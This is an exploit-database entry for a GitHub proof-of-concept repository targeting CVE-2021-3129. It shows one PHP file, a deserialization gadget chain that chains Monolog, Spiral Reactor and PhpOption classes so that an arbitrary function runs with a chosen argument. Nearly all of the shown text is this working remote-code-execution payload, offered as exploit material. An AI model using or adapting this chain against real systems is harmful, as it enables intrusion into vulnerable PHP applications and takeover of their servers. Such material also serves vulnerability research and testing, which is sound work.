Exploit database

GH-ef32bec3baf31bd381c522a7d3810271

axianke/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
axianke/cve-2021-3129Revision 33f41884f1a9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Spiral/RCE/1/gadgets.php

PHP · 1,015 bytes
<?php

namespace Monolog\Handler
{
    class RotatingFileHandler
    {
        protected $mustRotate;
        protected $filename;
        protected $filenameFormat;
        protected $dateFormat;

        function __construct($function,$param)
        {
            $this->dateFormat = "l";
            $this->mustRotate = true;
            $this->filename = "anything";
            $this->filenameFormat = new \Spiral\Reactor\FileDeclaration($function,$param);
        }
    }
}

namespace Spiral\Reactor
{
    class FileDeclaration
    {
        private $docComment;

        public function __construct($function,$parameter)
        {
            $this->docComment = new \PhpOption\LazyOption($function,$parameter);
        }
    }
}

namespace PhpOption
{
    class LazyOption
    {
        private $callback;
        private $arguments;

        public function __construct($function,$parameter)
        {
            $this->callback = $function;
            $this->arguments = [$parameter];
        }
    }
}